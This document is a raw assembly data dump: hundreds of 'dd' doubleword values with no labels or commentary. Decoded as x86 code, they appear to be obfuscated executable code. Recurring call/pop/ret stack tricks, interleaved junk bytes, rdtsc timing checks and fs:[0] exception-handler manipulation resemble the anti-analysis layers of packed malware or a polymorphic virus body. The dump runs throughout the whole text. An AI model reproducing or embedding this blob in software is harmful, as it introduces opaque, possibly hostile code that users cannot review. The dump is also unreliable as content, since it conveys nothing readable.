		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 69855CC3h, 0B776E22Dh, 0A7348589h, 9D8B0606h, 6031BCDh
		dd 1E6E9h, 5E900h, 0B96F0000h, 0E8FCEF96h, 0Fh,	0F697EE63h
		dd 6ACBCEE0h, 6B9DE722h, 8189037Eh, 8911CDE3h, 858B5B1Ch
		dd 606A72Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	54C35747h, 0C79728h, 18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 2BC35040h, 941C479Dh, 898102D9h
		dd 32101B5h, 30B58B06h,	6A0606A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D512C355h
		dd 51430E8Eh, 0CE8h, 9452A300h,	42DEBE67h, 16779207h, 0ED9D89DFh
		dd 5B06030Ch, 8D858B5Bh, 6A060312h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B038C357h
		dd 4D7B182Eh, 0E8563DF9h, 0Eh, 0D375DC04h, 0B526433Eh
		dd 774C86CEh, 8C0F0F20h, 0
		dd 0B5295B5Fh, 60322C9h, 0BC4C56BFh, 57068969h,	1BC19501h
		dd 8B5F0603h, 313C185h,	0A9858906h, 89060329h, 0BD290446h
		dd 6030A31h, 14E85696h,	6E000000h, 69BAC995h, 30A3DD54h
		dd 68AD3531h, 700A7A91h, 66FBB6D9h, 5F5BDE8Bh, 96FA8B50h
		dd 2701BD8Bh, 0B5FF0603h, 606A72Ch, 0EE011268h,	24348133h
		dd 33F102EDh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	3BC35747h, 8687A832h, 790B91FBh, 8DDE8B62h, 6A73485h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0A18D01C3h, 5006031Bh, 0FE2A78BBh, 2404893Dh
		dd 2D9D8Bh, 95FF0603h, 6031405h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 15h, 6BC35545h, 6163B760h, 0C7DFB70Fh
		dd 321BD85h, 306h, 10E800h, 0AC7A0000h,	330E5E6h, 0D22F725Bh
		dd 37DB2776h, 8960D300h, 3024D85h, 840F06h, 61000000h
		dd 34BD835Bh, 606A7h, 52840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F4DACC3h
		dd 68Eh, 258D8900h, 8B060313h, 309FD9Dh, 39E906h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 9DDD76C3h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 8BC08B00h, 30181BDh,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 3C1361A4h, 8A89EDB4h
		dd 0BDBD837Ch, 3060321h, 448850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 86F72BC3h
		dd 34BD83EBh, 606A7h, 41C840Fh,	0D88B0000h, 0A734B5FFh
		dd 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 2AB32DC3h, 9D0BBE63h, 60301C5h, 2E0595FFh
		dd 0E7810603h, 754E4B9Ch, 0A728B58Bh, 6A0606h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0FB7992C3h, 0FD60C4E2h, 89CCE004h, 32DC19Dh,	0D9BF0F06h
		dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0AF677BC3h, 95096BEEh, 6030F7Dh
		dd 0F5074B3h, 128Ah, 0DE900h, 0A6200000h, 8B6D40Ah, 18324B2Dh
		dd 8965116Fh, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0D957A6C3h, 34B5FF73h, 6A0606A7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4D55C350h, 0FFE260A3h, 32F1995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0DC62A012h, 3C481EBBh, 0B58BE29Bh, 606A728h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 0E551147Eh
		dd 5D7C9921h, 3A14BFCAh, 0F98B4915h, 311D858Bh,	6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2E42EFC3h, 96952D5Ah, 89D9BF0Fh, 0C486h, 0B70F5600h
		dd 958B5FF8h, 60331D1h,	837FE380h, 0B58904C2h, 6030179h
		dd 66205089h, 8D4C8CBBh, 6BBF385h, 0E59D3306h, 8906031Ah
		dd 0B886h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0CC5382F5h, 4B967DDCh, 9DF8B4Dh
		dd 32695B5h, 81006A06h,	9000B9C3h, 34B5FF60h, 660606A7h
		dd 95FFF98Bh, 6031CB1h,	8D09A5B3h, 60305ADh, 8EAEBB96h
		dd 505057B6h, 9E952h, 0C0A20000h, 4C03138Eh, 0F14F8A2h
		dd 5ADE8B31h, 820F9658h, 5, 71EF8166h, 34B5FF00h, 6A0606A7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 620DC350h, 83A65B47h, 0FFF8BF0Fh,	3116595h
		dd 1830F06h, 0F8000000h, 1795BD83h, 0F000603h, 7384h, 7E800h
		dd 74E30000h, 2C42B542h, 0A147BFBFh, 965F0A31h,	52505250h
		dd 5250310Fh, 585A310Fh, 310F585Ah, 585ADE8Ah, 8B666050h
		dd 11E9C2h, 9AD0000h, 992E7378h, 492FCFF3h, 0AC3008C3h
		dd 6188B654h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4D4E0BD0h, 8112B68Eh, 2BC1BD8Bh
		dd 0BD8B0603h, 603318Dh, 0A734B5FFh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 5979A0C3h
		dd 3EDF81C3h, 0FF3E6675h, 3066195h, 0D1BD8B06h,	0FF060323h
		dd 6A734B5h, 0FDBD3106h, 8906032Eh, 32D059Dh, 0E195FF06h
		dd 6A06030Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0F9DAC356h, 62B2EFACh,	218DBD83h
		dd 0F020603h, 7F84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E9D7D575h, 7,	0AAAF433Dh
		dd 8B25B356h, 301FD85h,	0F9BF0F06h, 6A0000C6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 8710C353h, 0A502D5FEh, 11E8h, 0B8F0C100h, 0CDB37E9Bh
		dd 90026E52h, 0EEDC47DDh, 6E96D5Ah, 0F9000000h,	0AA4E1E89h
		dd 9D0B5F0Fh, 6031749h,	30B985C7h, 603h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0ACEDE9C3h, 15DCA483h, 0BFEF5BFEh, 0CDE9905h, 935B589h
		dd 96E90603h, 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 5BAEC351h, 828B35FFh
		dd 0B5016019h, 603116Dh, 12E8h,	0ADE51500h, 0A44EB018h
		dd 96F586F9h, 0B1013993h, 0B2269065h, 29615881h, 324F595h
		dd 6AC18B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1879C356h, 3033C9DCh, 8D29FE21h
		dd 6030361h, 11E8h, 64756F00h, 66663D47h, 43054919h, 13955837h
		dd 8D5F3510h, 3281185h,	69950106h, 90060303h, 5E9CBB66h
		dd 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0BF2F55C3h, 32A40981h, 8E9856Bh, 0FE000000h
		dd 96070639h, 6AC9B1BDh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0EE5DB842h, 0BD8BF9A9h
		dd 60312EDh, 6ADBBF0Fh,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0CD9D8B0Dh, 8D06032Ch
		dd 7679785h, 2880F06h, 8B000000h, 5C083D8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0ADC35141h, 0DC014Ah
		dd 66682BCEh, 0F390D381h, 8E8h,	0D2B7C600h, 8C44B0EEh
		dd 55BD89D4h, 5F060331h, 66515090h, 905BFA8Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B1C35747h, 0FE80Bh
		dd 0B05E0000h, 18B6E4D4h, 714E27B3h, 0E5012553h, 6A5BD1h
		dd 2A858529h
		dd 6A0603h, 21B068BFh, 0C995FF60h, 6A06030Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 970FC351h, 0BD8B0EE1h, 60302F9h, 1111BD0Bh, 8D8D0603h
		dd 6069747h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0F5C35040h, 0FD1FF7Fh, 0BD83DFB7h, 6031E91h, 0DC850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 169C352h, 0BF51D241h, 373EC04Eh
		dd 14E85Bh, 91B60000h, 437AD038h, 392AA182h, 0E9228C8Ah
		dd 69C868BEh, 6E967EAh,	0FA000000h, 0E5F1A6E9h,	26A5B81h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
		dd 0EC0373BBh, 8B669020h, 14E850FEh, 33000000h,	0A2F472BEh
		dd 679504D0h, 49DD0A99h, 9ECDA7A1h, 66902E78h, 905BD98Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 96C35343h
		dd 631F339Eh, 768628DDh, 108F0Fh, 0BE90000h, 0C7000000h
		dd 0B01FCAEDh, 7B4E51AFh, 0BD8BF2EBh, 6031AC9h,	1CB195FFh
		dd 81660603h, 0E9D6A2D7h, 0DF3h, 0E8h, 0ED815D00h, 60767A1h
		dd 5FDBD2Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0AD67D9C3h, 719D0B12h, 8D060317h
		dd 6888985h, 0A5BD8B06h, 50060323h, 3240489h, 31B399Dh
		dd 35FF6406h, 0
		dd 1A75BD8Bh, 0FE8A0603h, 258964h, 0B000000h, 322F5BDh
		dd 0A19D3106h, 0FF060302h, 32A1585h, 11BD8B06h,	6A060326h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 237DC36Ch, 13E8E2h, 2A4E0000h, 0B7659E30h
		dd 5089632Bh, 7ACA0672h, 0CF4EBD95h, 0FC535F50h, 6880F5Fh
		dd 89000000h, 32439B5h,	61B5FF06h, 8B060329h, 31AA99Dh
		dd 1595FF06h, 0E9060320h, 15Dh,	1A55B589h, 0B00603h, 1065BD8Bh
		dd 70E60603h, 9E8h, 2F884F00h, 53EB7AA8h, 2DB78B87h, 8971E45Bh
		dd 31F0995h, 89E78106h,	3C281066h, 26830F61h, 8B000001h
		dd 0C8B60FD9h, 235BD8Bh, 81660603h, 0BA4D3BE7h,	6, 8E9h
		dd 10F4B800h, 75F39FECh, 8BC18B00h, 323AD9Dh, 4E8C106h
		dd 6870Fh, 85890000h, 6032CA5h,	0BFE2F766h, 23E219Dh, 6E9C82Bh
		dd 0DA000000h, 58F460C5h, 0DF816628h, 0D18BC275h, 10E8h
		dd 6DA10F00h, 0A7731F43h, 0B03349BFh, 0B7D08BD3h, 0C9BD8B2Ch
		dd 5B06032Ch, 6E9h, 0B5852900h,	8B06031Ch, 3240185h, 0FE96006h
		dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 0B96683D1h
		dd 83619D68h, 0E38007C0h, 358D09C8h, 83060328h,	37BF00C0h
		dd 3B5E1A19h, 0C830FD0h, 0F000000h, 88h, 63E900h, 8BF80000h
		dd 31BC98Dh, 14E806h, 679B0000h, 86D45A8Fh, 0A2CE597Ah
		dd 1535A932h, 8DBDFADDh, 9E90813h, 19000000h, 24233FDFh
		dd 0E2B9E30Dh, 1E1835Fh, 2B840Fh, 95890000h, 6030179h
		dd 1BC9A583h, 0E9FE0603h, 8, 0A86F792Eh, 6D19C2BAh, 24019589h
		dd 0BD030603h, 6033149h, 0E9h, 0E4B58D00h, 660606E5h, 0D2F7DB81h
		dd 1A58BF66h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 3C2A22C3h, 895548FDh, 313ED9Dh
		dd 0B995FF06h, 6A06031Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 90CDC357h, 2ECC59Eh
		dd 58B3BC16h, 68D9D8Bh,	6BB90603h, 6A000008h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 861BC355h, 50C94537h, 0FCE1835Bh, 98C380FCh,	6AC02Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0A25F84C3h, 8B0F7F99h, 8, 28C0Fh, 61600000h,	6AD22Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C7AE78C3h, 30A1BD89h, 0E3800603h, 0C233ADAEh, 0D003E8D1h
		dd 7504E983h, 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 61BA9128h, 8BC83D49h, 32BD99Dh, 81FE8A06h
		dd 0C8DBF0DBh, 880D2Eh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 4ABE3BC3h, 0E4EFAF4h
		dd 8B7E9903h, 331D195h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E8238E10h, 12h, 6AC49C56h
		dd 2A1F24A5h, 0F7279297h, 4DFC68E2h, 8B669F64h,	8D8B5BF8h
		dd 60301E1h, 6860Fh, 8D890000h,	6030205h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BD8B5818h, 60305B1h,	31AD9531h
		dd 0BD830603h, 6031D65h, 41840F00h, 31000000h, 30C5195h
		dd 0C5F78106h, 0B85497A9h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h
		dd 8A9A29E0h, 1C8D8DDDh, 8906034Dh, 331098Dh, 0F8E1FF06h
		dd 21BDBD83h, 0F000603h, 4D984h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 339B9BC3h
		dd 839E4E8Ah, 321BDBDh,	840F0106h, 4C5h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 0B9C35646h, 0EE966C7h
		dd 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h, 0BDBD836Ah
		dd 3060321h, 451860Fh, 9D8B0000h, 6031C11h, 57006A60h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0B49EB158h, 66DBB70Fh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A314A0C3h, 1FF6EC19h
		dd 950948CCh, 6032875h,	6A04E180h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 35FBC350h
		dd 7585893Fh, 0A060326h, 63840FC9h, 0E9000001h,	0Fh, 0BD1DF00Ch
		dd 0F31FC306h, 6F06D1F5h, 8B98287Fh, 313C185h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 9EBFC67Bh, 1C798533h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0CCAA8DC3h, 0C9E4CD65h
		dd 280D8D31h, 0E8900603h, 6, 29DA1DA7h,	0DF8BD61Ch, 0BB66505Bh
		dd 3190C75Bh, 322CD85h,	6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 81A4C355h
		dd 6EF27F3h, 20BB6671h,	4FC46842h, 0F98AE7FEh, 3B240481h
		dd 6A1820B4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 91BAC351h, 2E9CE0B4h, 95FF9F4Ch
		dd 6031405h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0B9C35040h, 0BD23AD53h,	6032DD1h, 0BBC78166h, 34858910h
		dd 6A0606A7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0A95DC351h, 81669A8Eh,	801CFFCFh
		dd 40E9AFEFh, 6A000002h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5955C353h, 3A629E37h
		dd 0E78166E6h, 858B2102h, 606A72Ch, 2A799D8Bh, 0C70603h
		dd 18h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 0CC35343h, 0F64CD755h, 0B728CEBFh, 30B58B57h, 6A0606A7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 145CC357h, 0A2D446CFh, 0B9CBD3F0h, 8D858BF9h
		dd 89060312h, 32875B5h,	1068906h, 30F8D9Dh, 0C1858B06h
		dd 6A060313h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0DD46C356h, 0E5BD8B6Dh, 89060303h
		dd 30C59B5h, 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 9DC35141h, 70B7802Ch,	2379BD03h, 66960603h
		dd 0F50DE8Bh, 89h, 8B669600h, 0E38151F8h, 28C15DDCh, 2CB5FF5Bh
		dd 6A0606A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6868C352h, 4E8C2h, 3FF0000h, 0FE8B001Fh
		dd 60525050h, 8E9h, 0B6CA6A00h,	780D2376h, 840F37h, 61000000h
		dd 11E8310Fh, 0B9000000h, 0A8FB0F25h, 43F57536h, 60BB5E27h
		dd 0A8BBE64Ah, 8B585A5Fh, 0BB042444h, 6D544C54h, 0BE8008Bh
		dd 0DF000000h, 0B1F19AF2h, 0EB139675h, 12E811EAh, 56000000h
		dd 85BD42ACh, 30A947E0h, 3829DE87h, 13DB93B8h, 5F6160DEh
		dd 2444895Fh, 0DA8B6604h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0C55C7E3Ah
		dd 0B82F18F2h, 8DFB8B00h, 6A73485h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 24C345F1h
		dd 5074AF2Dh, 0F240489h, 687h, 819D8B00h, 0FF060311h, 3140595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 39958942h, 0F060312h, 682h, 899D0900h, 61060312h
		dd 0BE70C381h, 85C76B17h, 60321BDh, 3, 8FDBD01h, 0BD830603h
		dd 606A734h, 2C840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F3A6C357h
		dd 8DB98452h, 0D98BE657h, 1DE9h, 5089B700h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B0F1EBC3h
		dd 1792E761h, 0C35B589h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 14AAA5C3h, 0DE9h, 897C0500h
		dd 6FFF35BBh, 0C2D6EA9Eh, 8166189Dh, 66D592EBh,	0BD83D88Bh
		dd 60321BDh, 0D8850F03h, 0BF000003h, 3EB473A3h,	0A734BD83h
		dd 0F000606h, 3C684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0F88A4D25h, 34B5FFF8h
		dd 6A0606A7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0EABDC353h, 1CB9BD23h,	95FF0603h
		dd 6032E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	6FC35747h, 0C9B7E3E3h, 69EA73F4h, 0A728B58Bh, 0F520606h
		dd 580h, 5FD7BB00h, 0C75F6D35h,	1000106h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 307EC688h, 89478082h, 3110595h, 61BD2906h, 96060314h
		dd 427AE8BBh, 0FE8A5001h, 0D5950996h, 0FF060301h, 6A734B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 890FCFB1h, 6, 2E9D9D8Bh,	95FF0603h, 6032F19h
		dd 5880Fh, 81660000h, 667A74DFh, 8B6103BBh, 6A728B5h, 0FB8B6606h
		dd 311D858Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0E7DA3BC3h, 0CA438285h, 8BCA0D95h
		dd 30A299Dh, 0C4868906h, 1000000h, 3318195h, 0D1958B06h
		dd 6A060331h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0EEF9C357h, 8B132E4Dh,	329FDBDh
		dd 4C28306h, 5D7DB3BBh,	20508902h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0EBC35545h,	7F78166h, 0F3858D0Eh
		dd 0F0606BBh, 0BD89DEBFh, 6032ED5h, 0B88689h, 6AF80000h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9589F6CEh, 6030425h, 0A734B5FFh,	81660606h
		dd 81CB37F7h, 0E827E7D7h, 0B195FF4Ch, 6A06031Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 200C350h, 0B7C5F662h, 8F0F9644h, 0Dh, 7E8h, 5EA9700h
		dd 6C5B85A6h
		dd 6A96505Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0D497C353h, 0D38B448Dh, 0F51F274h
		dd 68Ch, 39958900h, 0FF06031Ah,	6A734B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0BF50A616h, 0FB59472h, 248D9D01h, 95FF0603h,	6031165h
		dd 68A0Fh, 0D7810000h, 2850313Dh, 1795BD83h, 0F000603h
		dd 3084h, 0B6B56000h, 830F5061h, 16h, 11E9h, 251C0600h
		dd 0BC073C74h, 2415629Bh, 32BB000Fh, 3489B528h,	45B58924h
		dd 81060301h, 0B3A352D7h, 34B5FF08h, 0F90606A7h, 66195FFh
		dd 0BF660603h, 0B5FF7F59h, 606A734h, 349BD89h, 95FF0603h
		dd 6030AE1h, 0FE9h, 77191C00h, 67AF1647h, 0D0BFF893h, 0A76ABEDBh
		dd 218DBD83h, 0F020603h, 6A84h,	499D8900h, 8B060332h, 301FD85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0AE9F4h,	86550000h, 0E4CF8259h, 7CB9B5C3h
		dd 6A0000C6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 47EBC350h, 0DE94Ah, 80D60000h
		dd 7DF3874Bh, 0DCC54E93h, 0C74D4C64h, 330B985h,	6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 894DC1C3h, 326CD85h,	3D858906h, 0E9060303h, 0FFFFF2C7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h
		dd 92BBA041h, 0B05A9EBFh, 6800F5Ah, 89000000h, 32DB5BDh
		dd 0E9C18B06h, 7, 0D7B731C2h, 8D8A4EBEh, 3281185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6C59C8B8h, 0E7031C64h, 0D0BB6690h, 8B66508Ah, 6A90FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0AE5785C3h, 0F3817244h, 0F895270h, 9589006Ah, 6031FBDh
		dd 8D89006Ah, 60323B1h,	5E9h, 43520000h, 858D891Ah, 60777DAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2DC35545h
		dd 8C739695h, 0BD8B5755h, 60323ADh, 20498D89h, 0C0830603h
		dd 0EE905h, 0D12A0000h,	480D736Dh, 1E3F2445h, 64B19E24h
		dd 0D88B6690h, 13E850h,	14720000h, 0E1FEFB75h, 0AA7107B7h
		dd 0D2C775B8h, 0C7A6979Eh, 6A905F8Dh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B880C355h
		dd 1C98C78Bh, 0BF66006Ah, 6A62F0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 26C35545h, 65D40F38h, 95FFBF45h
		dd 6030CC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0F3C35545h, 51BD8B23h, 8D060328h, 697478Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 9F1AE1EBh, 237E08D1h, 3261DBDh, 6AD1FF06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0B4AC352h, 83D98B66h, 31E91BDh, 850F0106h, 9Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EFC35646h, 0BB55E828h
		dd 26AE0F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	32C35747h, 79AC434Ch, 31E4E60Dh, 31D619Dh, 60509006h
		dd 0F78B5250h, 890F310Fh, 0
		dd 0CB8B585Ah, 2B609061h, 31C198Dh, 0F1958B06h,	6106031Bh
		dd 1CB195FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 279492C3h, 0D1754A99h, 0A853CF81h
		dd 76E9540Ah, 0E800000Eh, 0
		dd 0E4ED815Dh, 3060777h, 32F49BDh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D3B2E6F3h
		dd 3A16280Dh, 0F7816672h, 14E9AA82h, 90000000h,	6B750430h
		dd 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 8D96B57Eh,	6888985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 5D9589B2h, 90060330h, 26B75250h,	0BB66310Fh
		dd 585A3FFBh, 60535750h, 905B5F61h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0BEC35747h,	35FF64F2h, 0
		dd 8B661FB7h, 258964DAh, 0
		dd 28B5BD89h, 85FF0603h, 6032A15h, 6AFF6AF5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0F4D3C353h, 830FB30Dh, 3, 0B7F9B70Fh, 0C5B5FF8Bh, 6A060323h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0CF6EC351h, 95FFD470h, 6032015h, 11CE9h
		dd 55858900h, 0B0060330h, 0CDBD2300h, 0E906031Ah, 12h
		dd 0C5BAFDA6h, 9CC0A080h, 9BCA810Eh, 892B95A0h,	70E68608h
		dd 71E49FB3h, 0AAC1CF81h, 613C3657h, 0E3830Fh, 0FFC0000h
		dd 0BD89C8B6h, 6032511h, 6BAh, 0CE32BB00h, 0C18B73DEh
		dd 8B04E8C1h, 0E2F766FEh, 0C82B5AB3h, 5E9h, 0B7D1B400h
		dd 0BF66A577h, 0D18B650Fh, 15E6C781h, 0B5295CC5h, 6031E69h
		dd 6E9h, 0DD8D8900h, 8B060323h,	31C1D85h, 719D8B06h, 8306031Eh
